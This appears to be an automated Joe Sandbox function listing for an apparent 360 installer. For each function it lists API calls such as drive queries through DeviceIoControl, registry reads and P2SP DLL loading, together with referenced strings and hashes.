Instruction Fuzzy Hash: D3411A71901298AFDB31DFA8DC49FDE7BACAF19710F10051AE918EB281E7715604CF60

Function 001D18BD Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001D1918
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?), ref: 001D194F
_memset.LIBCMT ref: 001D196D
DeviceIoControl.KERNEL32(?,0007C088,?,00000021,?,00000210,?,00000000), ref: 001D19E2
_memset.LIBCMT ref: 001D19F5
_memcpy_s.LIBCMT ref: 001D1A07
CloseHandle.KERNEL32(?,?,00000000,0017BD49,?,?,?,?,?,?,?), ref: 001D1A2F

Strings

\\.\PHYSICALDRIVE%d, xrefs: 001D1929

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset$CloseControlCreateDeviceFileHandle_memcpy_s
String ID: \\.\PHYSICALDRIVE%d
API String ID: 2371279349-613073274
Opcode ID: 732fcf4bc03cbde725f8b46cfe744f3470253a176d7f92463a98d77e9435432e
Instruction ID: 39f61e3dfdcb64d110904139b92b7d2559d42e0e59b4fca5cbfa2a7b3a4a68af
Opcode Fuzzy Hash: 732fcf4bc03cbde725f8b46cfe744f3470253a176d7f92463a98d77e9435432e
Instruction Fuzzy Hash: 7F41187190068CAFDF31DFA8DC85BDE7BACAB19304F10452AFA58AB282D77557048F60

Function 001E2210 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 144fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00172750: _vswprintf_s.LIBCMT ref: 00172783

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000), ref: 001E2292
DeviceIoControl.KERNEL32 ref: 001E22D8
CloseHandle.KERNEL32(00000000), ref: 001E22E3
_memset.LIBCMT ref: 001E2358
CloseHandle.KERNEL32(00000000), ref: 001E23D3

Strings

GenuineIntel:0f8bfbff, xrefs: 001E239B
\\.\PhysicalDrive%d, xrefs: 001E2261

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseHandle$ControlCreateDeviceFile_memset_vswprintf_s
String ID: GenuineIntel:0f8bfbff$\\.\PhysicalDrive%d
API String ID: 759969516-2564646230
Opcode ID: 24747aee90c59020d87bfdc3b201692b1ddc65e5fd27a073d420fdbae1188453
Instruction ID: 0da779d78ee0b1b8d8c3f46743280c176f33aa4fa679bf37c65aca8344bb69ad
Opcode Fuzzy Hash: 24747aee90c59020d87bfdc3b201692b1ddc65e5fd27a073d420fdbae1188453
Instruction Fuzzy Hash: 4D519AB0608B80AFD360CF258C91BAFB7E8FB99704F40492DF68DD6281E77495058F56

Function 001D2158 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001D2177
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,00000038), ref: 001D21BD
_memset.LIBCMT ref: 001D21DF
DeviceIoControl.KERNEL32(0017BD49,0004D030,?,00000028,?,00000028,?,00000000), ref: 001D2236
_memset.LIBCMT ref: 001D226C
CloseHandle.KERNEL32(0017BD49,?,?,?,?,?,00000038), ref: 001D22A9

Strings

\\.\PHYSICALDRIVE%d, xrefs: 001D219D

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset$CloseControlCreateDeviceFileH_prolog3Handle
String ID: \\.\PHYSICALDRIVE%d
API String ID: 1408917728-613073274
Opcode ID: 34cb7de76dabffba6fd333ae0ac937f30670b2795fbff652553c5a9ecc5a71de
Instruction ID: d2ee5645051a41cabb3333284719e9adec57b9ac994156aedfda5ce1956d8e06
Opcode Fuzzy Hash: 34cb7de76dabffba6fd333ae0ac937f30670b2795fbff652553c5a9ecc5a71de
Instruction Fuzzy Hash: 30417EB5A0024CAFDB21EFA4EC85AEF77B8EF54704F00412AF925E7291EB345A458B50

Function 001D1BEB Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 98fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001D1C3E
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,?,?,?,00000000,?), ref: 001D1C6F
_memset.LIBCMT ref: 001D1C90
DeviceIoControl.KERNEL32(?,0004D008,?,0000003C,?,0000022D,?,00000000), ref: 001D1CF8
CloseHandle.KERNEL32(?,?,?,?,?,0017BD49,?,?,?,?,?,00000000,?), ref: 001D1D29

Strings

SCSIDISK, xrefs: 001D1C9D
\\.\PHYSICALDRIVE%d, xrefs: 001D1C4C

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset$CloseControlCreateDeviceFileHandle
String ID: SCSIDISK$\\.\PHYSICALDRIVE%d
API String ID: 2939382409-3226356902
Opcode ID: 81b0bf874545d30f12fbed5676d7cd56817fd14b4f5f3bf2a449edffa5930116
Instruction ID: 7a0ef436587e1cb03bb568598fa08da517820089f2c2a0962e4e612d92088bd4
Opcode Fuzzy Hash: 81b0bf874545d30f12fbed5676d7cd56817fd14b4f5f3bf2a449edffa5930116
Instruction Fuzzy Hash: 4A31FAB194028CAFEF31DFA4DC89EDE7BADAF19704F14412AB918AB292D7715604CB11

Function 001BD71E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 74filestringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001BCF8A: FindClose.KERNEL32(?,?,001BD728,00000190,?,?,001C956F,?,?,?,?,?,?,?,0000000C), ref: 001BCFA4

FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 001BD74A
GetFullPathNameW.KERNEL32(?,00000104,?,00000000,0000018E,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 001BD767
SetLastError.KERNEL32(0000007B,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 001BD77A
lstrlenW.KERNEL32(?,00000190,?,?,001C956F,?,?,?,?,?,?,?,0000000C), ref: 001BD785
_wcsrchr.LIBCMT ref: 001BD796
_wcsrchr.LIBCMT ref: 001BD7A0

Strings

*.*, xrefs: 001BD735, 001BD73A, 001BD749, 001BD766

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Find_wcsrchr$CloseErrorFileFirstFullLastNamePathlstrlen
String ID: *.*
API String ID: 3086268848-438819550
Opcode ID: 71d9cd7864e9f843ac9161c5d842b5d5e1403b52aa0761cc6df2c5ed61cb580b
Instruction ID: 031c39bb99edbae8f596ac9b26ae9c8c4324ab0424720951d2a58cb5c42a4b02
Opcode Fuzzy Hash: 71d9cd7864e9f843ac9161c5d842b5d5e1403b52aa0761cc6df2c5ed61cb580b
Instruction Fuzzy Hash: 7F11EFB27007046BE7286A717C89BFB329CEF69749F110939FA16D2141FFA0980087A1

Function 001E25D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00172750: _vswprintf_s.LIBCMT ref: 00172783

CreateFileA.KERNEL32(?,00000000,00000003,00000000,00000003,00000000,00000000,?,001E335B,?,00000064), ref: 001E2645
_memset.LIBCMT ref: 001E267A
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00002710,?,00000000), ref: 001E26A2
_memset.LIBCMT ref: 001E26BA
CloseHandle.KERNEL32(00000000), ref: 001E2708

Strings

\\.\PhysicalDrive%d, xrefs: 001E2621

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset$CloseControlCreateDeviceFileHandle_vswprintf_s
String ID: \\.\PhysicalDrive%d
API String ID: 3752575622-2935326385
Opcode ID: c4762f1c1d0367d2238b2ff3aa1134dc1541818ffc9b3894aabf38253de5ef21
Instruction ID: 5c1484e3eaf4b1d5857a3c5f76b06c8f2459ce69e571fe14deb1b211171519e9
Opcode Fuzzy Hash: c4762f1c1d0367d2238b2ff3aa1134dc1541818ffc9b3894aabf38253de5ef21
Instruction Fuzzy Hash: 32418F71504780AFE324DF69DC8AEAFB7E8FFE9700F400A1DF59882181EB7495448B62

Function 0016E080 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44fileCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0016E084
CreateFileW.KERNEL32 ref: 0016E0AA
DeviceIoControl.KERNEL32(00000000,(5#,00000000,00000004,00000000,00000004,00000000,00000000), ref: 0016E0DA
CloseHandle.KERNEL32(00000000), ref: 0016E0E3

Strings

(5#, xrefs: 0016E0D4
\\.\360SelfProtection, xrefs: 0016E099

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseControlCreateCurrentDeviceFileHandleProcess
String ID: (5#$\\.\360SelfProtection
API String ID: 3778458602-3399028602
Opcode ID: 4fafd6501c16d9c186cd1b05dfcc801f9f7c78190ae4eabdd51b57429a54c769
Instruction ID: 02c7860ec26e45b0ca72c04bca6cb36d25e7da87e00d674f217389d18593a94d
Opcode Fuzzy Hash: 4fafd6501c16d9c186cd1b05dfcc801f9f7c78190ae4eabdd51b57429a54c769
Instruction Fuzzy Hash: 9BF0A4327443107BE6109B64FC0AFAE77A4AB84F11F454658FB94A71D0D7B45608C797

Function 001D0145 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001D0152
FindResourceW.KERNEL32(00000000,?,?,DLL), ref: 001D0163
SizeofResource.KERNEL32(00000000,00000000,00000000), ref: 001D0174
LoadResource.KERNEL32(00000000,00000000), ref: 001D0180
LockResource.KERNEL32(00000000), ref: 001D018B

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof_memset
String ID:
API String ID: 3046278646-0
Opcode ID: 8cc8433009b9c8226904e9b82dfc7c5a704f4943d6d6062689d9d59c3dc9dee1
Instruction ID: ce7b4e120c3ffc64b892a5b8b2467edd15332dfecdcc986c03344d74fe00b8dd
Opcode Fuzzy Hash: 8cc8433009b9c8226904e9b82dfc7c5a704f4943d6d6062689d9d59c3dc9dee1
Instruction Fuzzy Hash: A0F06D72500305BFCF115F65FC08AAA7F68EF547A1F018025FD18D6220DB31C860DBA0

Function 001CDA24 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(0024C628,0024C628,0024CDBC,00000000,0024C68C,02E24560), ref: 001CDA53

Part of subcall function 0017D354: _wcsnlen.LIBCMT ref: 0017D36B

Strings

360Installer, xrefs: 001CDA32

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: PrivateProfileString_wcsnlen
String ID: 360Installer
API String ID: 4066129061-2026047672
Opcode ID: 05b6464acd169ccd31c54fc829d13c9233a963d02bd259246a4d3f20341c4653
Instruction ID: 1134f33b548b4991ded852ee12e6066d1775cae6e19fee34d398b06b0db75d46
Opcode Fuzzy Hash: 05b6464acd169ccd31c54fc829d13c9233a963d02bd259246a4d3f20341c4653
Instruction Fuzzy Hash: B2E03073104210ABD6109BA4DC44D9BB7F9EF98760F144A59F55993261C7316C20CBA1

Function 5F51FEA4 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

listen.WS2_32(?,?), ref: 5F51FEB9

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: listen
String ID:
API String ID: 3257165821-0
Opcode ID: 5af958e5c2cc35e3eb7916246b9b5bf46361eef3c7ec6eb2e9b72ea0fc482ec8
Instruction ID: 7681465be3e253cd5fefa8516ef8f45db6f3c5a44134b47a0434fdf8e47dc99d
Opcode Fuzzy Hash: 5af958e5c2cc35e3eb7916246b9b5bf46361eef3c7ec6eb2e9b72ea0fc482ec8
Instruction Fuzzy Hash: 61D09272254100DBD7019B24C648E2177B5BB5972AF2086ACB14D8A1A2C7329866DB00

Function 5F516F71 Relevance: 56.3, APIs: 16, Strings: 16, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 5F516DCB: RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\LiveUpdate360,00000000,000F003F,5F5BC288,00000000,5F57AC78,74DF30D0,?,5F5BC3F0,5F5BC288), ref: 5F516DF2

RegQueryValueExW.KERNEL32(00000000,LogLevel,00000000,?,?,?,?,5F57AC78), ref: 5F516FE4
RegQueryValueExW.KERNEL32(?,DnsProxy,00000000,?,?,?,?,5F57AC78), ref: 5F517010
RegQueryValueExW.KERNEL32(?,TFWRate,00000000,?,?,?,?,5F57AC78), ref: 5F51703C
RegQueryValueExW.KERNEL32(?,Intranet,00000000,?,?,?,?,5F57AC78), ref: 5F517068
RegQueryValueExW.ADVAPI32(?,ProxyUpdateDate,00000000,?,?,?,?,5F57AC78), ref: 5F51709C

Strings

DnsProxy, xrefs: 5F516FFF
Nat, xrefs: 5F5171D5
MaxDnSpeed, xrefs: 5F5170B7
MaxUpUpdate, xrefs: 5F517145
,360sdupd,360tray,360leakfixer,360safe,softmanager,360netcfg,seup,360entclient,softmgr,sdis,, xrefs: 5F51718F, 5F5171B0, 5F5171BD
NatUpdate, xrefs: 5F517206
NatWLan, xrefs: 5F517232
PeerNumPerS, xrefs: 5F5170E3
ProxyUpdateDate, xrefs: 5F51708B
MaxUpSpeed, xrefs: 5F517119
TFWRate, xrefs: 5F51702B
UseEntModuleList, xrefs: 5F517171
,%s,, xrefs: 5F5171AB
Intranet, xrefs: 5F517057
360sdUpd,360tray,360leakfixer,360safe,SoftManager,360netcfg,seup,360EntClient,SoftMgr,Sdis, xrefs: 5F5171A6
LogLevel, xrefs: 5F516FD8

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: QueryValue$Open
String ID: ,%s,$,360sdupd,360tray,360leakfixer,360safe,softmanager,360netcfg,seup,360entclient,softmgr,sdis,$360sdUpd,360tray,360leakfixer,360safe,SoftManager,360netcfg,seup,360EntClient,SoftMgr,Sdis$DnsProxy$Intranet$LogLevel$MaxDnSpeed$MaxUpSpeed$MaxUpUpdate$Nat$NatUpdate$NatWLan$PeerNumPerS$ProxyUpdateDate$TFWRate$UseEntModuleList
API String ID: 1606891134-779865806
Opcode ID: f9b178bb0aeb89b0f17dde6fc213a1bfc02205bf9b68a6b31387ba72f2b03a55
Instruction ID: 592e3a6cf20613ed57cfc4567814a239acdba31316c6187fb1eb9a63aa62e4e2
Opcode Fuzzy Hash: f9b178bb0aeb89b0f17dde6fc213a1bfc02205bf9b68a6b31387ba72f2b03a55
Instruction Fuzzy Hash: 44B172B2D0161CABEB11DFA5CD80DEEBBBCFB09654B20422FE519E7202E73166458F50

Function 001CD0F5 Relevance: 42.2, APIs: 6, Strings: 18, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 001CD0FC
SHCreateDirectoryExW.SHELL32(00000000,?,00000000,\360P2SP.dll,00000000,DLL,00000014,0017BCDE), ref: 001CD1E0
MoveFileExW.KERNEL32(?,00000000,00000004,?), ref: 001CD1FD
MoveFileExW.KERNEL32(?,00000000,00000004), ref: 001CD218
MoveFileExW.KERNEL32(?,00000000,00000004), ref: 001CD23E
MoveFileExW.KERNEL32(?,00000000,00000004), ref: 001CD252

Part of subcall function 0017AFB8: __EH_prolog3.LIBCMT ref: 0017AFBF

Part of subcall function 001CCF0E: GetProcAddress.KERNEL32(?,?), ref: 001CCF16

Part of subcall function 001CCF23: GetProcAddress.KERNEL32(?,?), ref: 001CCF2B

Part of subcall function 001CCF38: GetProcAddress.KERNEL32(?,?), ref: 001CCF40

Part of subcall function 001CCF4D: GetProcAddress.KERNEL32(?,?), ref: 001CCF55

Part of subcall function 001CCF62: GetProcAddress.KERNEL32(?,?), ref: 001CCF6A

Part of subcall function 001CCF77: GetProcAddress.KERNEL32(?,?), ref: 001CCF7F

Part of subcall function 001CCF8C: GetProcAddress.KERNEL32(?,?), ref: 001CCF94

Part of subcall function 001CCFA1: GetProcAddress.KERNEL32(?,?), ref: 001CCFA9

Part of subcall function 001CCFB6: GetProcAddress.KERNEL32(?,?), ref: 001CCFBE

Part of subcall function 001CCFCB: GetProcAddress.KERNEL32(?,?), ref: 001CCFD3

Strings

RemoveTask, xrefs: 001CD319
liveupdatelog, xrefs: 001CD18D
Login, xrefs: 001CD28E
Uninit, xrefs: 001CD29F
SetP2spOption, xrefs: 001CD34F
CreateP2SPTask, xrefs: 001CD2B0
StopTask, xrefs: 001CD2E6
\360P2SP.dll, xrefs: 001CD1CD
\liveupdatelog, xrefs: 001CD1A2, 001CD225
Init, xrefs: 001CD27F
SetConfigInfo, xrefs: 001CD32A
QueryTask, xrefs: 001CD2C1
\liveupdatelog\P2SP_360installer.log, xrefs: 001CD1FF
DLL, xrefs: 001CD10F
UpdateRegInfo, xrefs: 001CD33B
GetFinishMessage, xrefs: 001CD308
StopSeed, xrefs: 001CD2F7
StartTask, xrefs: 001CD2D2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: AddressProc$FileMove$H_prolog3$CreateDirectory
String ID: CreateP2SPTask$DLL$GetFinishMessage$Init$Login$QueryTask$RemoveTask$SetConfigInfo$SetP2spOption$StartTask$StopSeed$StopTask$Uninit$UpdateRegInfo$\360P2SP.dll$\liveupdatelog$\liveupdatelog\P2SP_360installer.log$liveupdatelog
API String ID: 2807886459-1040481394
Opcode ID: 17734babcb0a0d735fa89f28dc3ee14061fc50a83812fffa2f0fcfe64f1550fb
Instruction ID: 502768be226ece3bac5197c31a2fd5d28151ddbbab1bd52655c51187fc539e32
Opcode Fuzzy Hash: 17734babcb0a0d735fa89f28dc3ee14061fc50a83812fffa2f0fcfe64f1550fb
Instruction Fuzzy Hash: 4061AE72640714BBDB20EBA0DC46FAEB3B9AF35B10F40462CF556A25E1DB60ED148B60

Function 5F4FC7D8 Relevance: 35.6, APIs: 5, Strings: 15, Instructions: 622
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 5F4FC7DF
GetTickCount.KERNEL32 ref: 5F4FC85B
_memset.LIBCMT ref: 5F4FC964

Part of subcall function 5F5140CF: _memset.LIBCMT ref: 5F514102
Part of subcall function 5F5140CF: wvnsprintfW.SHLWAPI(?,000003FF,?,?), ref: 5F51411D

Part of subcall function 5F4D9134: _wcslen.LIBCMT ref: 5F4D913B

Part of subcall function 5F4DD55B: _wcslen.LIBCMT ref: 5F4DD562

Part of subcall function 5F4ED06F: __EH_prolog3.LIBCMT ref: 5F4ED08E
Part of subcall function 5F4ED06F: _wcslen.LIBCMT ref: 5F4ED0C6
Part of subcall function 5F4ED06F: __wcsnicmp.LIBCMT ref: 5F4ED0D1
Part of subcall function 5F4ED06F: _wcslen.LIBCMT ref: 5F4ED0DE
Part of subcall function 5F4ED06F: _wcslen.LIBCMT ref: 5F4ED10E

Part of subcall function 5F51405E: _memset.LIBCMT ref: 5F514091
Part of subcall function 5F51405E: wvnsprintfW.SHLWAPI(?,000003FF,5F5BC288,5F4FE1F9), ref: 5F5140AC

Strings

[%d.] ErrorCode = %d(%s) PDownURL = %s, xrefs: 5F4FCA05
[%d.] DUQuota = %d Liveupdate360:%d, xrefs: 5F4FCC5C
[%d.] Delete mem File, xrefs: 5F4FCFA3
[%d.] discard resume mem, xrefs: 5F4FCFD7
[%d.] FileName=%s ErrorCode= %d(%s), xrefs: 5F4FCF51
360tray, xrefs: 5F4FCB2E
[%d.] ErrorCode = %d(%s), xrefs: 5F4FCD62
,360sdupd,360tray,360leakfixer,360safe,softmanager,360netcfg,seup,360entclient,softmgr,sdis,, xrefs: 5F4FCA7A, 5F4FCAC3
[%d.] AppName=%s IsSkipEnt:%d, xrefs: 5F4FCAEE
[%d.] ErrorCode = %d(%s), xrefs: 5F4FCDC9
[%d.] ErrorCode = %d(%s), , xrefs: 5F4FCEF2
[%d.] URL = %s File=%s, xrefs: 5F4FC97D
[%d.] EntModuleList=%s, xrefs: 5F4FCACB
